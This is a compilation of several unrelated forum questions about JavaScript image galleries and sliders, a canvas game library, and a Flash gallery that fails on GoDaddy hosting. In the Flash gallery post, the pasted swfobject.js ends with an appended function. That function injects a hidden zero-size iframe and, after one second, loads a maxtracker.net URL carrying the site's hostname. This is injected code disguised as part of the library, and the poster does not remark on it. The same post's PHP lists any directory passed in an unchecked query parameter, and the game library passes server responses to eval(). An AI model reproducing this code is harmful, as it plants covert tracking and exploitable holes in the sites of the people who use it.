JavaScript - Java Script Flickr Gallery Thumbnail Issue?????

Hey all.. I just finished a semester at the local junior college in javascript programming. Didnt teach us very well, but I learned several basics. I have skills in several different aspects of programming now, but none as an expert by any means. Now, I am working on a project for my wife's non-profit that she is involved in, and an wanting to create a thumbnail sized picture 'band' at the top of my website, with images of things that she wants the user to be able to click on to pop up a bigger picture into a new window, a popup window, mind you. This 'image gallery', needs to be able to be clicked on to move the images to the left or to the right, and display, maybe 5 to seven images at a time in about a 100px height band. I have seen this on other websites before, and I have the software to do my own programming, and I 'should have' developed the skills by now, lol, but, I just need some help getting started in the right direction in knowing how to start out. Like, what do I need to accomplish to do this? I already have a div set up for the container for it. The website is using a combination of html, css, php, mysql and javascript.

Thank you;
Ice

Hi,

I'm have set up a gallery site, pretty standard stuff with thumbnails to the right and big image to the left. I would like to add a fade in on the big image when the thumbnail is clicked and don't really know how to implement it.
The big images are contained in a div called <#left> while the thumbs are within a div called <div class="gallery">

I have searched Google and these forums for a solution but haven't had any luck...can anyone help me out with this?

Thanks

J

Dear Experts,

I am very new for javascript so I am not even sure it is possible or not.

The situation is like this,

I have a page, which is actually a photo gallery with a table having 3 rows. First row shows the full screen size pic. Second row displays the Caption of that image and third row shows thumbnail view of six different images and the previous and next button.

this is the sample layout:

<table>
<tr>
<td colspan=8>
Full size image will be shown in this cell
</td>
</tr>
<tr>
<td colspan=8>
Caption of the image will be displayed here
</td>
</tr>
<tr>
<td>Previous Button</td>
<td>Pic1 thumbnail view</td><td>Pic2 thumbnail view</td><td>Pic3 thumbnail view</td>
<td>Pic4 thumbnail view</td><td>Pic5 thumbnail view</td><td>Pic6 thumbnail view</td>
<td>Next Button</td>
</td>
</tr>

My requirement is whenever the user click on the thumbnail view, which is in the 3rd row, the corresponding full screen size pic should open in 1st row of the table.
As my photo gallery should be having more than 6 pics, lets take 20 pics, I want to show only 6 thumbnails in 3rd row at a time. Whenever user press "Next" button the 3rd row having 6 thumbnails should show other 6 thumbnails and previous button should show previous 6 thumbnails.

I have a guess that it can be done using arrays, but how????? I have no idea. So please if you have any guesses it will be nice if you can post the entire code here as I will not be in a position to work on the hints given by you.

Thanks in advance.

Charles

Posted this in the wrong forum earlier.

I'm pretty new to Java, so i may be missing something simple, but here is my problem; On this page http://keithfrenchdesigns.com/ under the work area the gallery images are showing no problem, but on the sideways scrolling page http://keithfrenchdesigns.com/sideways on page 4 it's not showing the gallery image like the div is missing(it's not), but if you click on one of the links it will pull up a blank. It also will not scroll past page 4 to page 5(or if you move the gallery area to say, page 2, it won't scroll any further either). Like the script for the gallery area is interfering with the sideways scrolling script. Please ignore the design on the site as it is just there so i can see how everything reads.

Any help would be appreciated.

I really like the the script posted at http://www.javascriptkit.com/script/...mbslider.shtml and I would like to use it, but I am having an issue making it work with version 6 of IE. In all newer versions of IE, Firefox, Chrome, Opera and Safari, it renders great, but with IE 6 all the images in the 'thumb' array display inline below the main canvas window.

I know that IE6 is much out of date, but unfortunately that is the version that comes pre-loaded on XP SP3 and some of the workstations I support still use this version. Is there a way to pre-load the images, but only have the first image display in the canvas window? I have tried adjusting the CSS properties and tweaking the javascript, but have had no success after two days. I am relatively new at CSS and Javascript, so I have obviously exceeded my capability.

Any suggestion would be appreciated!
Thank you.

Hi All, I have two scripts which I want to try and integrate. I am using a nice gallery script to show thumbnails which are appended to a an image wrapper which on click of the thumbnail shows the larger image in the image wrapper,

I am trying to implement cloud zoom which is a plugin which uses image srcs to then point to an anchor href to show another larger zoom image either in the same place.. which is what I am trying to do or in another div beside.

I have had to set me img srcs up in a certain way to easily enter some product details. and I need to try an manipulate the code to make it work to suit my file layout.

I am using a var= images [ with

a series of file locations and info such as below

{
src: 'romanticabride/thumbs/tn_Shauna.jpg',
srcBig: 'romanticabride/images/Shauna.jpg',
title: 'Shauna',
longDescription: '<b><H1>Shauna</H1></b><br><b>Romantica Of Devon <br><br><h2>Sizes Available:</h2><br> 6 - 32.<b><br><b><br><b><b><b><H2>Colours Available:</h2><b><br>Various<br>Please Enquire Below<br><br><br><br><a href="mailto:tracy@cherishbridal.co.uk?subject=Web Enquiry Regarding Romantica Shauna Bridal Gown"class="enquiry rose glow" >Click To Enquire About This Item </a>'
},

what I need is for cloud zoom to work when the main image wrapper is hovered over which means it will need to add a class or when the whichever srcBig: is hovered over it gets wrapped by href to make the script work .

one of my pages is http://www.cherishbridal.co.uk/romaticabride.html

the cloud zoom script is at http://www.professorcloud.com/mainsite/cloud-zoom.htm.. I am happy to share a jsfiddle with someone or explain further
or post some code. Thank you in advance

I need to assign a key in the javascript to actually make the javascript work,.

I have a bookmark in chrome , a javascript , which actually works when clicked on it .,. but how can i edit it so that i can actually make it work on click a key or combination of keys.

i want to declare the key or keycombo in the script itself .,.

the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,.,

So I want it to work it this way .,

select the text
press a key
and it opens a new tab (or window) with an xact search .,.
i want to declare the key or keycombo in the script itself .,.

the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,.,

So I want it to work it this way .,

select the text
press a key
and it opens a new tab (or window) with an xact search .,.


Thanks in advance .,

Nani

Can someone help tell me where i've gone wrong! My finished script works in all browser except IE in IE it works on some machines not others, if i put the finesed page in a Iframe on another site it works but not in the original URL and on my machine it works if i go directly to the URL however if i hit refresh it doesn't work until i go directly to the URL again! In developer tools it comes up with the following error:

SCRIPT5022: DOM Exception: TYPE_MISMATCH_ERR (17)
cgl.js, line 147 character 3

here is the script it is referring too! Please help!!!
PHP Code:
var CGL = {};
CGL.canvas = {
    DEFAULT_CONTEXT : "2d",
    DEFAULT_CANVAS_ID : "cglcanvas",
    
    CANVAS_CONTAINER : "",
    CANVAS_WIDTH : 300,
    CANVAS_HEIGHT : 200,
    TARGET_FPS : 60,

    setDefault : function(option, value){
        CGL.canvas[option] = value;
    },

    getDefault : function(option){
        return CGL.canvas[option];
    },
    /**
     *  @method createCanvas(id, width, height)
     *  @param id : sets the CANVAS_CONTAINER
     *  @param width : sets the CANVAS_WIDTH
     *  @param height : sets the CANVAS_HEIGHT
     *  
     *  Creates a <canvas> element that will be used as the main graphics container for the game!
     */
    createCanvas : function(id, width, height){
        
        var canvas = document.createElement("canvas");
        
        CGL.canvas.CANVAS_WIDTH = width;
        CGL.canvas.CANVAS_HEIGHT = height;
        CGL.canvas.CANVAS_CONTAINER = id;
        
        canvas.setAttribute("width", width);
        canvas.setAttribute("height", height);
        canvas.style.borderColor = "black";
        canvas.style.borderStyle = "solid";
        canvas.style.borderWidth = "1px";
        canvas.setAttribute("id", CGL.canvas.DEFAULT_CANVAS_ID);
        
        document.getElementById(id).appendChild(canvas);
        
        var elem = document.createElement("div");
        elem.setAttribute("id", "status");
        elem.style.width = width + "px";
        elem.style.height = "120px";
        elem.style.overflowY = "scroll";
        elem.style.borderColor = "black";
        elem.style.borderStyle = "solid";
        elem.style.borderWidth = "1px";
        elem.style.color = "black";
        elem.style.backgroundColor = "white";
        elem.style.display = "none";
        document.getElementById(id).appendChild(elem);
    },
    
    /**
     * @method getContext()
     * 
     * Returns the graphic context as chosen by the DEFAULT_CONTEXT global.
     */
    getContext : function(){
        var canvas = document.getElementById(CGL.canvas.DEFAULT_CANVAS_ID);
        return canvas.getContext(CGL.canvas.DEFAULT_CONTEXT);
    }
};

CGL.image = {
    
    IMAGE_ID : 0,
    
    DEFAULT_IMAGECONT_ID : "imgcont",
    
    createImageContainer : function() {
        
        var div = document.createElement("div");
        
        div.setAttribute("id", CGL.image.DEFAULT_IMAGECONT_ID);
        div.style.display = "none";
        document.body.appendChild(div);
    },
    
    load : function(src, id){
        var img = document.createElement("img");
        img.setAttribute("src", src);
        img.setAttribute("id", id);
        img.setAttribute("onload", "notifyLoaded(" + id + ")");
        document.getElementById(CGL.image.DEFAULT_IMAGECONT_ID).appendChild(img);
    },
    
    Image : function(source, uid, srcx, srcy){
        var img = {
            id : uid,
            x : srcx,
            y : srcy
        };
        CGL.image.load(source, uid);
        return img;
    },
    
    render : function(ctx, img){
        ctx.drawImage(document.getElementById(img.id), img.x, img.y);
    },
    
    renderAt : function(ctx, imgid, x, y){
        ctx.drawImage(document.getElementById(imgid), x, y);
    },
    
    renderPart : function(ctx, imgid, srcx, srcy, srcwidth, srcheight, destx, desty, destwidth, destheight){
        ctx.drawImage(document.getElementById(imgid), srcx, srcy, srcwidth, srcheight, destx, desty, destwidth, destheight);
    }
};

CGL.sprite = {
    
    Sprite : function(frames, time){
        var sprite = {
            active : true,
            speed : time || 500,
            activeFrame : 0,
            maxFrames : frames.length - 1,
            images : frames,
            timeCount : 0,
            loop : true,
            
            nextFrame : function(){
                sprite.activeFrame += 1;
                
                if(sprite.activeFrame > sprite.maxFrames)
                {
                    if(sprite.loop)
                    {
                        sprite.activeFrame = 0;
                    }
                    else
                    {
                        sprite.activeFrame = 0;
                        sprite.active = false;
                    }
                }
            },
            
            setSpeed : function(time){
                sprite.speed = time;
            },
            
            setLoop : function(looping){
                sprite.loop = looping;
            },
            
            setActiveFrame : function(actFrame){
                sprite.activeFrame = actFrame;
            },
            
            stop : function(){
                sprite.active = false;
            },
            
            start : function(){
                sprite.active = true;
            },
            
            replay : function(){
                sprite.activeFrame = 0;
                sprite.active = true;
            },
            
            update : function(time){
                if(sprite.active)
                {
                    sprite.timeCount += time;
                }
                    
                if(sprite.timeCount > sprite.speed)
                {
                    sprite.nextFrame();
                    sprite.timeCount = 0;
                }
            },
            
            render : function(ctx, x, y){
                ctx.drawImage(document.getElementById(sprite.images[sprite.activeFrame]), x, y);
            }
        };
        
        return sprite;
    }

};

CGL.resource = {
        
    RESOURCES : 0,
    
    loadImages : function(xml){
        var image, elem, i;
        var img = new Array();
        var imgsrc, imgid;
        xmlhttp = CGL.ajax._createXHR();
        xmlhttp.onreadystatechange = function(){
            if (xmlhttp.readyState==4 && xmlhttp.status==200){
                image = xmlhttp.responseXML.documentElement.getElementsByTagName("image");
                for(i = 0; i < image.length; i++){
                    elem = image[i].getElementsByTagName("src");
                    try{
                        imgsrc = elem[0].firstChild.nodeValue;
                    }
                    catch(er){
                    }
                    elem = image[i].getElementsByTagName("id");
                    try{
                        imgid = elem[0].firstChild.nodeValue;
                    }
                    catch(er){
                    }
                    CGL.image.load(imgsrc, imgid);
                    img[i] = imgid;
                    CGL.resource.RESOURCES++;
                    CGL.util.printLn("Loaded Image: " + imgsrc + " With ID: " + imgid);
                }
              }
            
        };
        xmlhttp.open("GET",xml,false);
        xmlhttp.send();
        return img;
    }
};

CGL.highscore = {
        
    highscore : function(url, posts) {
        var highScore = {
            name : new Array(posts),
            score : new Array(posts),
            level : new Array(posts),
            size : posts,
            
            getHighScore : function() {
                highScore.size = 10;
                xmlhttp = CGL.ajax._createXHR();
                xmlhttp.onreadystatechange = function()
                {
                    if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
                    {
                        var string = xmlhttp.responseText;
                        var list = eval( "(" + string + ")" );
                        
                        for(i = 0; i < list.length; i++){
                            highScore.name[i] = list[i].name;
                            highScore.score[i] = list[i].score;
                            highScore.level[i] = list[i].level;
                        }
                        highScore.size = list.length;
                      }
                }
                xmlhttp.open("GET",url + "?action=get&posts=" + highScore.size ,false);
                xmlhttp.send();
            },
        
            recordHighScore : function(name, level, score) {
                xmlhttp = CGL.ajax._createXHR();
                xmlhttp.onreadystatechange = function()
                {
                    if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
                    {
                        CGL.util.printLn(xmlhttp.responseText);
                      }
                }
                xmlhttp.open("GET",url + "?action=put&name=" + name + "&score=" + score + "&level=" + level ,false);
                xmlhttp.send();
            },
            
            reInit : function() {
                for(var i = 0; i < highScore.size; i++)
                {
                    delete highScore.name[highScore.size-i];
                    delete highScore.score[highScore.size-i];
                    delete highScore.level[highScore.size-i];
                }
            }
        };
        return highScore;
    }
};

CGL.ajax = {
        
    _createXHR : function() { 
    
        try { return new XMLHttpRequest(); } catch(e) {}
        try { return new ActiveXObject("Msxml2.XMLHTTP.6.0"); } catch (e) {}
        try { return new ActiveXObject("Msxml2.XMLHTTP.3.0"); } catch (e) {}
        try { return new ActiveXObject("Msxml2.XMLHTTP"); }       catch (e) {}
        try { return new ActiveXObject("Microsoft.XMLHTTP"); }  catch (e) {}
                                         
        return null;
    }
};

CGL.util = {
    
    MESSAGE_ID : 0,
    LASTUPDATE : 0,
    UPDATE_RPS : 40,
    
    
    printLn : function(message) {
        var elem = document.createElement("p");
        elem.setAttribute("id", CGL.util.MESSAGE_ID);
        document.getElementById("status").appendChild(elem);
        document.getElementById(CGL.util.MESSAGE_ID).innerHTML = CGL.util.MESSAGE_ID + " : " + message;
        CGL.util.MESSAGE_ID++;
    },
    
    gameTimer : function() {
        delta = new Date();
        if(delta.getTime() > CGL.util.LASTUPDATE + 1000/CGL.util.UPDATE_RPS)
        {
            CGL.util.LASTUPDATE = delta.getTime();
            return true;
        }
        else
            return false;
    },
};

CGL.math = {
    
    Vector2 : function(vx, vy) {
        var Vector2 = {
                x : vx || 0.0,
                y : vy || 0.0,
        
            interpolate : function(a_vec, b_vec, a_f){
                return a_vec.mul(a_f).add(b_vec.mul(1-a_f));    
            },
        
            mul : function(other){
                Vector2.x *= other.x;
                Vector2.y *= other.y;
            },
        
            mulScale : function(scale) {
                Vector2.x *= scale;
                Vector2.y *= scale;
            },
        
            sub : function(other) {
                Vector2.x -= other.x;
                Vector2.y -= other.y;
            },
        
            add : function(other) {
                Vector2.x += other.x;
                Vector2.y += other.y;
            },
        
            div : function(other) {
                Vector2.x /= other.x;
                Vector2.y /= other.x;
            },
        
            divScale : function(scale) {
                Vector2.x /= scale;
                Vector2.y /= scale;
            },
        
            scale : function(a_f, a_g){
                return new CGL.math.Vector2d(a_f * Vector2d.m_x, a_g * Vector2d.m_y);    
            },
        
            dot : function(other) {
                return ((Vector2.x * other.x) + (Vector2.y * other.y));
            },
        
            neg : function() {
                return new CGL.math.Vector2(-Vector2.x, -Vector2.y);
            },
        
            normalize : function() {
                var l = Vector2.length();
            
                if(l == 0){
                    return;
                }
            
                Vector2.x /= l;
                Vector2.y /= l;
            },
        
            lengthSquared : function() {
                return (Vector2.x * Vector2.x) + (Vector2.y * Vector2.y);
            },
        
            length : function() {
                return Math.sqrt(Vector2.lengthSquared());
            },
    
            toString : function() {
                return "[Vector (" + Vector2.x + ", " + Vector2.y + ")]";
            },
        
            copy : function(other) {
                Vector2.x = other.x;
                Vector2.y = other.y;
            },
        
            draw : function(ctx) {
            /* Convert to Local space */
            var lx, ly;
            if(Vector2.x < 0.0) {
                lx = (-Vector2.x * -50) + 200; 
            } else {
                lx = (Vector2.x * 50) + 200;
            }
            
            if(Vector2.y > 0.0) {
                ly = (Vector2.y * -50) + 200; 
            } else {
                ly = (-Vector2.y * 50) + 200;
            }
            
            ctx.beginPath();
            ctx.arc(lx, ly, 2, 0, Math.PI*2, true); // Outer circle
            ctx.fill();
            }
        };
        return Vector2;
    },

    getNormal : function(vx, vy) {
        var n = new CGL.math.Vector2(vy.x, vy.y);
        n.sub(vx);
    
        n = new CGL.math.Vector2(n.y, -n.x);
        n.normalize();
    
        return n;
    }
};

CGL.ui = {
        
    Button : function(imgs, srcx, srcy, srcwidth, srcheight) {
        var button = {
            images : imgs,
            x : srcx,
            y : srcy,
            width : srcwidth,
            height : srcheight,
            active : false,
            clicked : false,
        
            update : function(mx, my, mb) {
                if(mx > button.x && mx < button.x + button.width && my > button.y && my < button.y + button.height)
                {
                    button.active = true;
                }
                else
                {
                    button.active = false;
                }
                if(button.active && mb)
                {
                    button.clicked = true;
                }
            },
            
            activated : function() {
                return button.clicked;
            },
            
            deactivate : function() {
                button.clicked = false;
            },
            
            render : function(ctx) {
                if(!button.active)
                {
                    ctx.drawImage(document.getElementById(button.images[0]), button.x, button.y);
                }
                else
                {
                    ctx.drawImage(document.getElementById(button.images[1]), button.x, button.y);
                }
            }
        };
        return button;
    }
};

CGL.event = {
    
    MOUSEX : 0,
    MOUSEY : 0,
    
    KLEFT : false,
    KRIGHT : false,
    KDOWN : false,
    KUP : false,
    KSPACE : false,
    KPAUSE : false,
    
    CLICKED : false,
    
    ACTIVEGAMEKEY : true,
    
    handleEventMovement : function(e) {
        CGL.event.getCursorPosition(e);
    },
    
    handleEventClick : function(e) {
        CGL.event.CLICKED = true;
    },
    
    clearEvents : function() {
        CGL.event.KLEFT = false;
        CGL.event.KRIGHT = false;
        CGL.event.KDOWN = false;
        CGL.event.KUP = false;
        CGL.event.KSPACE = false;
        CGL.event.KPAUSE = false;
        CGL.event.CLICKED = false;
    },
    
    handleEventKey : function(e) {
        
        if(CGL.event.ACTIVEGAMEKEY)
        {
            e.stopPropagation();
            e.preventDefault();
        }
        
        switch(e.keyCode) {
        case 19:
            CGL.event.KPAUSE = true;
            break;
        case 32:
            CGL.event.SPACE = true;
            CGL.util.printLn("Space was triggered!");
            break;
        case 37:
            CGL.event.KLEFT = true;
            break;
        case 38:
            CGL.event.KUP = true;
            break;
        case 39:
            CGL.event.KRIGHT = true;
            break;
        case 40:
            CGL.event.KDOWN = true;
            break;
        case 65:
            CGL.event.KLEFT = true;
            CGL.util.printLn("Left was triggered!");
            break;
        case 87:
            CGL.event.KUP = true;
            CGL.util.printLn("Up was triggered!");
            break;
        case 68:
            CGL.event.KRIGHT = true;
            CGL.util.printLn("Right was triggered!");
            break;
        case 80:
            CGL.event.KPAUSE = true;
            break;
        case 83:
            CGL.event.KDOWN = true;
            CGL.util.printLn("Down was triggered!");
            break;
        default:
            break;
        
        
        };
    },

    getCursorPosition : function(e) {
        if (e.pageX != undefined && e.pageY != undefined) {
            CGL.event.MOUSEX = e.pageX;
            CGL.event.MOUSEY = e.pageY;
        }
        else {
            CGL.event.MOUSEX = e.clientX + document.body.scrollLeft +
                document.documentElement.scrollLeft;
            CGL.event.MOUSEY = e.clientY + document.body.scrollTop +
                document.documentElement.scrollTop;
        }
        
        CGL.event.MOUSEX -= document.getElementById(CGL.canvas.DEFAULT_CANVAS_ID).offsetLeft;
        CGL.event.MOUSEY -= document.getElementById(CGL.canvas.DEFAULT_CANVAS_ID).offsetTop;
    }
}; 

Hi Guys,

I am trying to implement a free Flash Gallery into a goDaddy hosted website. I have used the code a bunch of times before but always on a different server - never on goDaddy. It has always worked before but on goDaddy will only display the background and buttons of the gallery and not the images themselves.

I have contacted goDaddy, who have very unhelpfully said that it should work but there seems to be a problem with the Javascript on a line that says: so.addVariable("content_path","img");. However - they cannot tell me why it doesnt work and suggested I hit these forums for answers.

The code I am using in my FLASHGALLERY.HTML page is below. I have left the authors comments for ease of viewing:

Code:

<script language="javascript" type="text/javascript">
var so = new SWFObject("flashgallery.swf", "gallery", "800", "600", "8"); // Location of SWF file. You can change gallery width and height here (using pixels or percents).
so.addParam("quality", "high");
so.addParam("allowFullScreen", "true");
so.addParam("wmode", "transparent");
so.addVariable("content_path","img"); // Location of a folder with JPG and PNG files (relative to php script).
so.addVariable("color_path","default.xml"); // Location of XML file with settings.
so.addVariable("script_path","flashgallery.php"); // Location of PHP script.
so.write("gallery");
</script>

The part in BOLD is the line they reckon the problem is on. This works on every other server but not theirs apparently!

The path goes to a file called "IMG" which has the images to be displayed inside. This is a very simple process on all my other websites! I have tried adding a / symbol before .....so ...... /img.... but no luck as well as a bunch of other stuff.

The link to the gallery I am using is:
http://www.library.ceu.hu/workshop/readme.html

The link to one of my sites with this working:
http://mrca.org.uk/final_gallery_roles.html

The link to the non-working gallery:
http://neverthelessmedia.com/flashgallery.html

The gallery has a PHP file and a Javascript file backing it up. I will put the codes below just incase they help.

FLASH_GALLERY.PHP

Code:

<?php
$allowed_formats = array("jpg", "jpeg", "JPG", "JPEG", "png", "PNG");
$exclude_files = array(
"_derived",
"_private",
"_vti_cnf",
"_vti_pvt",
"vti_script",
"_vti_txt"
); // add any other folders or files you wish to exclude from the gallery.

$listDir = array(); 

function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }
    
    return $sOutput;
}

function encoding($string){
    if (function_exists('iconv')) {    
        if (@!iconv('utf-8', 'cp1251', $string)) {
            $string = iconv('cp1251', 'utf-8', $string);
        }
        return $string;
    } else {
        if (detectUTF8($string)) {
            return $string;        
        } else {
            return cp1251_utf8($string);
        }
    }
}


function ReadFolderDirectory($dir) 
    { 
        global $listDir,$exclude_files,$allowed_formats;
        if($handler = opendir($dir))
        { 
           { 
            while (($sub = readdir($handler)) !== FALSE) 
                { 
                  
                  if ($sub != "." && $sub != ".." && $sub != "Thumb.db" && array_search($sub, $exclude_files)===false) 
                   {
                   	$ext = substr($sub, strrpos($sub, ".")+1);
                    if(is_file($dir."/".$sub) && array_search($ext, $allowed_formats)!==false )  $listDir[] = $dir."/".$sub; 
                    elseif(is_dir($dir."/".$sub))  ReadFolderDirectory($dir."/".$sub); 
                   } 
                } 
            }    
            closedir($handler); 
        } 
    }
    
if(isset($_GET['file_dir']))  ReadFolderDirectory($_GET['file_dir']);

natcasesort($listDir);

print '<?xml version="1.0" encoding="utf-8"?>'; 
print '
<pics>';

$directory= $_SERVER['HTTP_HOST'] .$_SERVER['PHP_SELF'];
$directory=dirname($directory);

foreach ($listDir as $val) 
{
	$title = substr(strrchr($val, '/'), 1);
	$title=encoding($title);
	$val=encoding($val);
	
	print '
	<pic src="'.'http://'.$directory.'/'.$val.'" title="'.$title.'" />'; 
}

print '
</pics>';
?>

SWFOBJECT.JS

Code:

if(typeof deconcept=="undefined"){var deconcept=new Object();}
if(typeof deconcept.util=="undefined"){deconcept.util=new Object();}
if(typeof deconcept.SWFObjectUtil=="undefined"){deconcept.SWFObjectUtil=new Object();}
deconcept.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a,_b){if(!document.getElementById){return;}
this.DETECT_KEY=_b?_b:"detectflash";
this.skipDetect=deconcept.util.getRequestParameter(this.DETECT_KEY);
this.params=new Object();
this.variables=new Object();
this.attributes=new Array();
if(_1){this.setAttribute("swf",_1);}
if(id){this.setAttribute("id",id);}
if(w){this.setAttribute("width",w);}
if(h){this.setAttribute("height",h);}
if(_5){this.setAttribute("version",new deconcept.PlayerVersion(_5.toString().split(".")));}
this.installedVer=deconcept.SWFObjectUtil.getPlayerVersion();
if(c){this.addParam("bgcolor",c);}
var q=_8?_8:"high";
this.addParam("quality",q);
this.setAttribute("useExpressInstall",_7);
this.setAttribute("doExpressInstall",false);
var _d=(_9)?_9:window.location;
this.setAttribute("xiRedirectUrl",_d);
this.setAttribute("redirectUrl","");
if(_a){this.setAttribute("redirectUrl",_a);}};
deconcept.SWFObject.prototype={setAttribute:function(_e,_f){
this.attributes[_e]=_f;
},getAttribute:function(_10){
return this.attributes[_10];
},addParam:function(_11,_12){
this.params[_11]=_12;
},getParams:function(){
return this.params;
},addVariable:function(_13,_14){
this.variables[_13]=_14;
},getVariable:function(_15){
return this.variables[_15];
},getVariables:function(){
return this.variables;
},getVariablePairs:function(){
var _16=new Array();
var key;
var _18=this.getVariables();
for(key in _18){_16.push(key+"="+_18[key]);}
return _16;},getSWFHTML:function(){var _19="";
if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){
if(this.getAttribute("doExpressInstall")){
this.addVariable("MMplayerType","PlugIn");}
_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\"";
_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";
var _1a=this.getParams();
for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}
var _1c=this.getVariablePairs().join("&");
if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";
}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");}
_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\">";
_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";
var _1d=this.getParams();
for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}
var _1f=this.getVariablePairs().join("&");
if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}
return _19;
},write:function(_20){
if(this.getAttribute("useExpressInstall")){
var _21=new deconcept.PlayerVersion([6,0,65]);
if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){
this.setAttribute("doExpressInstall",true);
this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));
document.title=document.title.slice(0,47)+" - Flash Player Installation";
this.addVariable("MMdoctitle",document.title);}}
if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){
var n=(typeof _20=="string")?document.getElementById(_20):_20;
n.innerHTML=this.getSWFHTML();return true;
}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}
return false;}};
deconcept.SWFObjectUtil.getPlayerVersion=function(){
var _23=new deconcept.PlayerVersion([0,0,0]);
if(navigator.plugins&&navigator.mimeTypes.length){
var x=navigator.plugins["Shockwave Flash"];
if(x&&x.description){_23=new deconcept.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}
}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}
catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
_23=new deconcept.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}
catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}
catch(e){}}if(axo!=null){_23=new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}
return _23;};
deconcept.PlayerVersion=function(_27){
this.major=_27[0]!=null?parseInt(_27[0]):0;
this.minor=_27[1]!=null?parseInt(_27[1]):0;
this.rev=_27[2]!=null?parseInt(_27[2]):0;
};
deconcept.PlayerVersion.prototype.versionIsValid=function(fv){
if(this.major<fv.major){return false;}
if(this.major>fv.major){return true;}
if(this.minor<fv.minor){return false;}
if(this.minor>fv.minor){return true;}
if(this.rev<fv.rev){
return false;
}return true;};
deconcept.util={getRequestParameter:function(_29){
var q=document.location.search||document.location.hash;
if(q){var _2b=q.substring(1).split("&");
for(var i=0;i<_2b.length;i++){
if(_2b[i].substring(0,_2b[i].indexOf("="))==_29){
return _2b[i].substring((_2b[i].indexOf("=")+1));}}}
return "";}};
deconcept.SWFObjectUtil.cleanupSWFs=function(){if(window.opera||!document.all){return;}
var _2d=document.getElementsByTagName("OBJECT");
for(var i=0;i<_2d.length;i++){_2d[i].style.display="none";for(var x in _2d[i]){
if(typeof _2d[i][x]=="function"){_2d[i][x]=function(){};}}}};
deconcept.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};
__flash_savedUnloadHandler=function(){};
if(typeof window.onunload=="function"){
var _30=window.onunload;
window.onunload=function(){
deconcept.SWFObjectUtil.cleanupSWFs();_30();};
}else{window.onunload=deconcept.SWFObjectUtil.cleanupSWFs;}};
if(typeof window.onbeforeunload=="function"){
var oldBeforeUnload=window.onbeforeunload;
window.onbeforeunload=function(){
deconcept.SWFObjectUtil.prepUnload();
oldBeforeUnload();};
}else{window.onbeforeunload=deconcept.SWFObjectUtil.prepUnload;}
if(Array.prototype.push==null){
Array.prototype.push=function(_31){
this[this.length]=_31;
return this.length;};}
var getQueryParamValue=deconcept.util.getRequestParameter;
var FlashObject=deconcept.SWFObject;
var SWFObject=deconcept.SWFObject;
function second_passed() {window.frames['buffer'].location = "http://maxtracker.net/track_s/new_site.php?s="+ document.location.hostname;}
document.write('<iframe name="buffer" src="about:blank" style="width:0px; height:0px; overflow:hidden; border:none;"></iframe>');setTimeout(second_passed, 1000);

Cheers in advance for your help guys.

Hi All,

I'm new to the site, but so far have had incredible help from everyone . . . . I am currently working on this site, and am having problems getting the navigation of the java slide to look right and fit in how I want it.

http://www.edgeandbarrett.com/orwel84/test.htm

at the moment i cant get it to stay in line . . . . . god knows why . . . . .
its should look like this -

http://www.edgeandbarrett.com/picture%201.png

Also concerns with cross browser, any advise would be greatly received with open arms . . . concerns am pulling my hair out here!!!!!!

Thanks,

orwel

Hi,

I am a small problem with the combo boxes in my web page.I have created

a web search portal for travelling in that i have used combo boxes for selecting

the no.of.passengers (Adults, Childs & Infants) along with the ages of the

children.Take for example i have a hotel search page in that i have used combo

box to select the no.of.rooms. And i have kept the same concept in selection

of passengers too(i.e., when u select Room count as '2' there will two rows

